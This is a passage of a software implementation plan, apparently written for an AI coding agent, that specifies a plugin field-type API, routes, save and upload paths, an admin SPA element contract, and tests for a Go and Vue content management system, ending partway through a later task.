+| CONTEXT | D-14 | Plugin registers ML variant through cabana lift/hydrate | 01, 03 | COVERED |
+| CONTEXT | D-15 | Generic schema shape, OpenAPI, TS, dist, README, docs | 01 | COVERED |
+| CONTEXT | D-16 | TipTap in a custom element, plugin JS build, committed dist | 02 | COVERED |
+| CONTEXT | D-17 | Layer expands embeds, new tag pinned in the app | 04, 05 | COVERED |
+| CONTEXT | D-18 | Image upload with alt and caption | 01 (route), 02 (UI), 03 (storage) | COVERED |
+| CONTEXT | D-19 | Category content uses blogeditor and is stripped like posts (the 422 gate is retired) | 03, 06 | COVERED |
+| TODO | — | cabana-plugin-registered-field-types | 01 | COVERED |
+| TODO | — | cabana-richeditor-field-type | 03 | COVERED |
+| TODO | — | journal-imported-html-admin-resave (and its test) | 03, 05, 06 | COVERED |
+| RESEARCH | P1 | Registry threaded through compile, no package global | 01 | COVERED |
+| RESEARCH | P2 | Decode/Load inside the tx, FieldError mapping, written-values accessor | 01 | COVERED |
+| RESEARCH | P3 | Two-layer untouched detection | 01, 02 | COVERED |
+| RESEARCH | P4 | Preservation-first schema and serializer | 02 | COVERED |
+| RESEARCH | P5 | Element contract, global CSS owner (Pitfall 8) | 01, 02 | COVERED |
+| RESEARCH | P6 | Journal integration, category not translatable | 03 | COVERED |
+| RESEARCH | P7 | Embed expansion after the sanitizer (last step at the v-html sink) | 04 | COVERED |
+| RESEARCH | P8 | Plugin JS build, no eval, injectCSS false, check-dist | 02 | COVERED |
+| RESEARCH | P9 | Collision-free upload route, OpenAPI + phase09Routes | 01 | COVERED |
+| RESEARCH | Pitfall 7 | Non-default content_html companion write | 01 (accessor), 03 | COVERED |
+| RESEARCH | Pitfall 11 | No Docker: DryRun/unit smoke + human Docker-host gate | 05, 06 | COVERED |
+| RESEARCH | Security | Magic-byte image check on the editor upload | 03 | COVERED |
+| RESEARCH | OQ3 | Release scope (tags, bumps, UAT) | 04, 05 | COVERED |
+| DRIFT | 16.1 | bluemonday policy (`SanitizeHTML`, `FormatTranslation`, the `CheckHTML` predicate (reports any change)), layer sanitize-html mirror, v0.1.17 and layer v0.1.1 already tagged, post 64 re-saved without its style block | 01-06 (revision 2026-10-10) | COVERED |
+
+## Artifacts this phase produces (this plan)
+
+- `pact.FormFieldType`, `pact.FormFieldValue`, `pact.FormFieldDecoded`, `pact.FormFieldNotice`, `pact.FormFieldUpload`, `pact.FormFieldUploadResult`, `pact.FormFieldError` (with `Error() string`), `pact.HasFormFieldTypes`.
+- `cabana.FieldWrite`, `cabana.FieldWritesFromContext`, `cabana.WithFieldWrites`, `cabana.CompileFormWithTypes`, `cabana.FieldTypeAssets`, `cabana.FieldTypesResponse`, `cabana.FieldUploadResponse`, `cabana.FieldNotice`, and the `RecordMeta.Notices` field (JSON `meta.notices`, omitted when empty).
+- `cabana.FormField` JSON keys `element`, `translatable`, `typeOptions` (Go fields `Element`, `Translatable`, `TypeOptions`).
+- Unexported: `fieldTypeRegistry`, `compileFieldTypes`, `readClientAssets`, `liftPluginValues`, `decodePluginFields`, `hydratePluginFields`, `servedFieldValue`, `isMLField`, `fieldUpload`, `fieldTypesList`, `withFieldWrites`, `localizeNotices`.
+- Routes: `GET {api}/field-types`, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`.
+- New files: `modules/cabana/field_type.go`, `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_smoke_test.go`, `admin/src/app/fieldTypes.ts`, `admin/src/components/form/fields/PluginField.vue`, `admin/src/components/form/fields/MLPluginField.vue`, `admin/tests/form/PluginField.test.ts`, `docs/backend/field-types.md`.
+- SPA exports: `loadFieldTypes`, `loadGlobalStyles`, `GLOBAL_STYLE_OWNER`, `rendererForField`, `isRegisteredField`, `isMLField`, `noticeLines`, `FIELD_CHANGE_EVENT`, `FIELD_UPLOAD_EVENT`, `FIELD_UPLOAD_RESULT_EVENT`; FormField and FormGrid gain a `notices` prop.
+- Smoke tests: `TestFieldTypeTracerSmoke`, `TestFieldTypeExpansionSmoke`.
+
+<objective>
+Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 notices and refusal mapping, D-18 upload route).
+
+Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type, and a type that changes a value on save (Journal strips unsafe HTML per D-10) can tell the admin what it changed.
+Output: the pact types, the cabana registry, compile, save (with notices), show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField, the global loader and the notice display, rebuilt dist, READMEs and docs.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
+@.planning/todos/pending/cabana-plugin-registered-field-types.md
+
+Concurrency (16.1 D-02): another session may edit `modules/`. Before each commit run `git status --porcelain -- modules admin docs scripts` and `git diff` on the files you touch; stage only files this task changed, by explicit path. Commits: no co-author tags; code and planning docs in separate commits.
+
+No Docker here (RESEARCH Pitfall 11): `go test ./modules/cabana` without `-run` fails on the testcontainers suites. Use the named `-run` sets below; full Postgres-backed coverage is plan 06 on a Docker host.
+
+<interfaces>
+Proposed pact surface (Task 1 confirms it; names are Claude's discretion within D-12):
+
+```go
+// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
+type FormFieldType struct {
+	Name         string   // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
+	Element      string   // custom-element tag defined by Scripts, plugin prefix rule
+	Translatable bool     // value is a locale -> string map stored through cabana's translation writer
+	Scripts      []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
+	Styles       []string // AdminFS paths under assets/ (.css), enabled on every admin page
+	Options      []string // the type's own fields.yaml keys
+	CheckOptions func(options map[string]any) error                                       `json:"-"` // optional
+	Decode       func(ctx context.Context, in FormFieldValue) (FormFieldDecoded, error)   `json:"-"` // required
+	Load         func(ctx context.Context, in FormFieldValue) (any, error)                `json:"-"` // optional
+	ListValue    func(value any) string                                                   `json:"-"` // optional
+	Upload       func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
+}
+type FormFieldValue struct {
+	DB         *gorm.DB       // the save transaction (Decode) or the read transaction (Load)
+	Record     any            // the loaded record on update, the new model on create
+	Field      string
+	Options    map[string]any // the field's typeOptions
+	Locale     string         // "" for a non-translatable type
+	Default    bool           // true when Locale is the host-column locale (or the type is not translatable)
+	Value      any            // submitted (Decode) or stored (Load); a string for a translatable type
+	Translated func(attribute string) (string, bool, error) // exact read of another attribute of Record in Locale; nil when not translatable or no writer
+}
+// FormFieldDecoded is Decode's answer: Value is stored (a string for a
+// translatable type); Notices are non-blocking messages about it, such as what
+// a sanitizer removed. No notices means the save answers exactly as before.
+type FormFieldDecoded struct {
+	Value   any
+	Notices []FormFieldNotice
+}
+// FormFieldNotice is one message for the admin. cabana localizes Message
+// (phrase key or text) in the request locale with Params; Count > 0 selects
+// the plural form (phrasebook Choice, :count set).
+type FormFieldNotice struct {
+	Message string
+	Params  map[string]string
+	Count   int
+}
+type FormFieldUpload struct {
+	DB       *gorm.DB
+	Record   any // nil on the create form ({id} 0)
+	Field    string
+	Options  map[string]any
+	Filename string
+	Body     io.Reader // already capped by http.body_limits.upload_bytes
+}
+type FormFieldUploadResult struct{ URL string }
+type FormFieldError struct{ Messages []string } // phrase keys or text; Error() joins them
+type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType } // implemented by the plugin
+```
+
+Proposed cabana surface:
+
+```go
+type FieldWrite struct {
+	Locale  string // "" for a non-translatable type
+	Default bool   // the value went to the host column
+	Value   any
+}
+func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool) // copy; false outside create/update
+func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context // for Form hook tests
+func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*FormSchema, error)
+// FormField gains: Element string `json:"element,omitempty"`, Translatable bool `json:"translatable,omitempty"`,
+// TypeOptions map[string]any `json:"typeOptions,omitempty"`, fieldType *compiledFieldType `json:"-"`
+type FieldNotice struct {
+	Field   string `json:"field"`
+	Locale  string `json:"locale,omitempty"` // set for a translatable type's value
+	Message string `json:"message"`          // already localized
+}
+// RecordMeta (relation_field.go) gains: Notices []FieldNotice `json:"notices,omitempty"`
+```
+
+Save responses: `POST /{vendor}/{plugin}/{controller}` and `PUT .../{id}` keep `{"data":...,"meta":{"labels":...}}`; when a Decode returned notices, `meta` also carries `"notices":[{"field":"content","locale":"pl","message":"2 elements were removed: style, iframe"}]`. Without notices the JSON is byte-for-byte today's.
+
+Routes (relative to `<prefix>/api/v1`):
+- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
+- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
+
+Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
+- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
+- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
+- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
+- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
+
+Existing code the executor builds on (read, do not re-derive):
+- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
+- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
+- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
+- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
+- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
+- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
+- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
+- `modules/cabana/relation_field.go`: `RecordMeta` (91), `RecordEnvelope`, `RecordResult`; `modules/cabana/crud.go`: `localizeForbidden` (the pattern for `localizeNotices`: request locale via `schemaLocale`, `translateKey`), `CRUDService.tr`; `modules/phrasebook/translator.go`: `Get(ctx, key, params)` and `Choice(ctx, key, count, params)`.
+- `admin/src/views/FormView.vue`: `adopt` (173, reloads the saved record into the form), `save` (315), the saved toast (337); `admin/src/components/form/FormGrid.vue` (47, `:errors` per field) and `FormField.vue` (the `errors` prop and error line): the path notices follow.
+- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
+- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).
+</interfaces>
+</context>
+
+<tasks>
+
+<task type="checkpoint:decision" gate="blocking-human">
+  <name>Task 1: Confirm the published pact field-type API before it is written (D-12)</name>
+  <read_first>modules/pact/capabilities.go (AdminAction, AdminActionInput, HasAdminActions, AdminClientAssets: the style to copy), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md (D-11 to D-15, Claude's Discretion), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 1, 2, 5, 9; Code Example 1), this plan's interfaces block</read_first>
+  <action>Do the automatable part, then stop. Run the verify command (baseline: the contract and schema tests this plan must keep green pass before any change) and confirm `git status --porcelain -- modules admin docs scripts` prints nothing; if it prints anything, report the in-flight files (concurrent session, 16.1 D-02) and stop without editing.
+
+Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block, including Decode's FormFieldDecoded answer and FormFieldNotice (the D-10 amendment: a type reports what it changed instead of refusing); which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldNotice, RecordMeta.Notices as meta.notices omitted when empty, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
+  <decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
+  <context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05: v0.1.18, or the next free v0.1.x; v0.1.17 is already the 16.1 security release) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>
+  <options>
+    <option id="approve">
+      <name>Approve as proposed</name>
+      <pros>Matches the research recommendation (struct of funcs, like pact.AdminAction); plans 02 and 03 are written against these names</pros>
+      <cons>Field names become a published contract at the plan 05 tag</cons>
+    </option>
+    <option id="adjust">
+      <name>Approve with named changes</name>
+      <pros>The human renames or reshapes pact and cabana Go identifiers before code exists</pros>
+      <cons>The executor must apply the same renames to plans 03, 05 and 06 text it reads later (record them in the SUMMARY); plan 02 references no Go identifier, so it is unaffected</cons>
+    </option>
+  </options>
+  <resume-signal>Reply "approve", "adjust:" followed by the Go identifier changes, or "stop" to change the element contract (re-plans 01 and 02 together).</resume-signal>
+  <verify>
+    <automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
+    <fails_when>Non-zero exit: vet reports a problem, or fewer than four "--- PASS: Test" lines (a baseline contract or schema test already fails before this plan changes anything).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The baseline verify passed and `git status --porcelain -- modules admin docs scripts` printed nothing.
+    - The SUMMARY records the human's reply verbatim and, for "adjust", the final identifier list that Tasks 2 to 4 use; the element contract names in that list are exactly the ones in the interfaces block.
+  </acceptance_criteria>
+  <done>A human approved the API or named Go identifier changes, with the element contract unchanged; nothing has been edited yet.</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer: one non-translatable plugin field type end to end (pact, boot, schema, save Decode, Show Load, field-types route, SPA PluginField)</name>
+  <reversibility rating="one-way">Published pact API: after the plan 05 tag, other plugins' go.mod require these names; renaming means editing every consumer (D-12).</reversibility>
+  <precondition>Task 1 was answered "approve" or "adjust" and the SUMMARY lists the identifiers to use.</precondition>
+  <files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/field_type.go, modules/cabana/form_schema.go, modules/cabana/schema_types.go, modules/cabana/registry.go, modules/cabana/http.go, modules/cabana/crud.go, modules/cabana/relation_field.go, modules/cabana/extension.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/components/form/registry.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/PreviewField.vue, admin/src/components/form/FormField.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/PluginField.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md, docs/backend/forms.md</files>
+  <read_first>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/form_schema.go, modules/cabana/schema_types.go (FormField, ListColumn), modules/cabana/registry.go, modules/cabana/http.go (Activate, mount, protect, navigation handler), modules/cabana/crud.go (save, ShowRecord, lifecycleFailure, localizeForbidden, scalarFormField and its callers), modules/cabana/relation_field.go (RecordMeta, RecordResult), modules/phrasebook/translator.go (Get, Choice), modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), modules/cabana/extension.go, modules/cabana/settings.go (decodeFields caller at 74), modules/cabana/relation_form.go (decodeFields callers at 145 and 246), modules/cabana/admin_openapi.go (the /navigation and FormField annotations), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/query_relation_test.go (openDryRunDB, newDryRunListService: test style), modules/cabana/README.md (Admin API routes table, API reference), scripts/check-admin-openapi.sh, scripts/check-admin-dist.sh, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/state/useNavigation.ts, admin/src/components/form/registry.ts, admin/src/components/form/control.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/WidgetField.vue, admin/tests/form/WidgetField.test.ts, docs/backend/partials-and-widgets.md (Form widgets, Widget element contract), docs/backend/forms.md, docs/site.yaml</read_first>
+  <action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
+
+pact (D-12, D-10): add FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage, notice localization and the untouched-value skip; Decode returns FormFieldDecoded (the value to store plus optional notices; a notice reports a change the type made to an accepted value, a FormFieldError refuses a value the type cannot accept), Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
+
+Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
+
+Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
+
+Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value}, sets projected[field] to the result's Value and keeps the result's Notices with the field name; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed) and discards every collected notice; any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500. So the save response always carries the stored value, which the SPA adopts into the form (the reload D-10 asks for).
+
+Notices (D-10, framework half): after the transaction commits, new localizeNotices(ctx, s.tr, collected) turns each notice into a FieldNotice{Field, Locale, Message} in the request locale, the way localizeForbidden localizes a refusal: Message is a phrase key or text, resolved with tr.Choice(ctx, key, Count, Params) when Count > 0 and tr.Get(ctx, key, Params) otherwise; a nil translator keeps the text. At most 10 notices per field and locale are kept and each localized message is cut to 500 runes with an ellipsis. RecordMeta (relation_field.go) gains Notices []FieldNotice with json "notices,omitempty", set on the RecordResult that create and update write; with no notice the encoded response is byte-for-byte today's.
+
+Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse), document the FormField keys and the optional RecordMeta notices (FieldNotice); add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
+
+SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
+
+Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError, trims surrounding spaces and reports that with the notice Message "acme.demo::lang.trimmed" (Count 1), and otherwise returns the value with no notice, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; a value " x " is stored as "x" and localizeNotices yields one FieldNotice for "notes" (a nil translator keeps the key text); the JSON encoding of a RecordMeta without notices has no "notices" key; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
+
+Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier, FormFieldDecoded and FormFieldNotice included); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes, FieldNotice, the meta.notices key of the create and update responses and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode (value, notices, refusal) and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed. Commit as feat(pact), feat(cabana) and feat(admin) commits, each with its README, docs, OpenAPI or dist changes, staged by explicit path.</action>
+  <verify>
+    <automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
+    <fails_when>Non-zero exit: vet fails, or fewer than five top-level "--- PASS: Test" lines (the tracer smoke is missing or failing, or the route inventory, permission matrix or schema tests regressed).</fails_when>
+    <automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/form/PluginField.test.ts tests/form/WidgetField.test.ts tests/form/registry.test.ts tests/form/formState.test.ts &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
+    <fails_when>Non-zero exit: vue-tsc reports a type error, a vitest file fails or is not found, check-admin-openapi prints "committed admin OpenAPI output is stale", check-admin-dist prints "modules/boardwalk/dist is stale", or TestDocsTree reports an identifier, link or anchor the docs name that does not exist.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "type HasFormFieldTypes interface" modules/pact/capabilities.go`, `grep -n "type FormFieldDecoded struct" modules/pact/capabilities.go` and `grep -n "func compileFieldTypes" modules/cabana/field_type.go` each print one line.
+    - `grep -n 'json:"notices,omitempty"' modules/cabana/relation_field.go` prints one line and `grep -n "func localizeNotices" modules/cabana/*.go` prints one line.
+    - `grep -n '"GET /field-types"' modules/cabana/security_coverage_test.go` prints one line and admin/openapi/admin.json contains the path "/field-types" and the property "notices".
+    - TestFieldTypeTracerSmoke passes with subtests for: collision between two plugins, collision with markdown, unknown key, CheckOptions error, the field-types route, schema keys element and typeOptions, Decode success, Decode notice to FieldNotice, no notices key without notices, FormFieldError mapping, Load on show.
+    - PluginField.test.ts passes, including the echo case (no second property write for an equal value).
+    - check-admin-openapi --check, check-admin-dist and TestDocsTree pass; docs/backend/field-types.md has front matter section backend.
+    - `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing (neutral names).
+  </acceptance_criteria>
+  <done>A fake plugin's non-translatable type compiles at boot, appears in the form schema and the field-types list, is decoded on save (its notices reach meta.notices, and a save without notices answers as before) and loaded on show, and the SPA renders its element with a two-way value binding.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Expansion (Go): translatable types, untouched skip, written-values accessor, list values and the cabana upload route</name>
+  <files>modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_ml.go, modules/cabana/crud.go, modules/cabana/tx_context.go, modules/cabana/list_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, docs/backend/field-types.md</files>
